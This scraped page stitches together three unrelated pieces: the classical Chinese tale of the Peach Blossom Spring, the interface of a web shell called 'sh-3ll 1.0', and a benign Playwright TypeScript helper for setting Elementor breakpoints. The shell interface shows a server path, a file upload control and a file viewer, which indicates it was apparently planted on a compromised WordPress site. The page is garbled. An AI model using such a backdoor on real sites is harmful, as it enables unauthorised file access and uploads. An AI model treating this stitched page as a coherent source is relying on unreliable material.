晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/salvufkx/www/wp-contentmmm/plugins/hello-plus/tests/playwright/assets/
Upload File :
Current File : //home/salvufkx/www/wp-contentmmm/plugins/hello-plus/tests/playwright/assets/breakpoints.ts
import { Locator, type Page } from '@playwright/test';
import EditorPage from '../pages/editor-page';
import { BreakpointEditableDevice, Device } from '../types/types';
import EditorSelectors from '../selectors/editor-selectors';

export default class {
	readonly page: Page;
	constructor( page: Page ) {
		this.page = page;
	}

	static getDeviceLocator( page: Page, device: Device ): Locator {
		const baseLocator = page.locator( '[aria-label="Switch Device"]' );
		return baseLocator.locator( `[data-testid="switch-device-to-${ device }"]` );
	}

	static getAll(): Device[] {
		return [ 'mobile', 'mobile_extra', 'tablet', 'tablet_extra', 'laptop', 'desktop', 'widescreen' ];
	}

	static getBasic(): Device[] {
		return [ 'mobile', 'tablet', 'desktop' ];
	}

	async saveOrUpdate( editor: EditorPage, toReload = false ) {
		const hasTopBar: boolean = await editor.hasTopBar();
		if ( hasTopBar ) {
			await editor.saveSiteSettingsWithTopBar( toReload );
		} else {
			await editor.saveSiteSettingsNoTopBar();
		}
	}

	async addAllBreakpoints( editor: EditorPage, experimentPostId?: string ) {
		await editor.openSiteSettings( 'settings-layout' );
		await editor.openSection( 'section_breakpoints' );
		await this.page.waitForSelector( 'text=Active Breakpoints' );

		const devices = [ 'Mobile Landscape', 'Tablet Landscape', 'Laptop', 'Widescreen' ];

		for ( const device of devices ) {
			if ( await this.page.$( '.select2-selection__e-plus-button' ) ) {
				await this.page.click( '.select2-selection__e-plus-button' );
				await this.page.click( `li:has-text("${ device }")` );
			}
		}

		await this.saveOrUpdate( editor, true );

		if ( experimentPostId ) {
			await this.page.goto( `/wp-admin/post.php?post=${ experimentPostId }&action=elementor` );
		} else {
			await this.page.reload();

			if ( await this.page.$( '#elementor-panel-header-kit-close' ) ) {
				await this.page.locator( '#elementor-panel-header-kit-close' ).click( { timeout: 30000 } );
			}
		}

		await this.page.waitForSelector( '#elementor-editor-wrapper' );
	}

	async resetBreakpoints( editor: EditorPage ) {
		await editor.openSiteSettings( 'settings-layout' );
		await editor.openSection( 'section_breakpoints' );
		await this.page.waitForSelector( 'text=Active Breakpoints' );

		const removeBreakpointButton = EditorSelectors.panels.siteSettings.layout.breakpoints.removeBreakpointButton;
		while ( await this.page.locator( removeBreakpointButton ).count() > 0 ) {
			await this.page.click( removeBreakpointButton );
		}
		await this.saveOrUpdate( editor, true );
	}

	getBreakpointInputLocator( page: Page, device: BreakpointEditableDevice ): Locator {
		return page.locator( `input[data-setting="viewport_${ device }"]` );
	}

	async setBreakpoint( editor: EditorPage, device: BreakpointEditableDevice, value: number ) {
		await editor.openSiteSettings( 'settings-layout' );
		await editor.openSection( 'section_breakpoints' );
		await this.page.waitForSelector( 'text=Active Breakpoints' );

		const locator = this.getBreakpointInputLocator( this.page, device );
		await locator.fill( String( value ) );
		await this.saveOrUpdate( editor );
		await this.page.locator( EditorSelectors.toast ).waitFor();
	}
}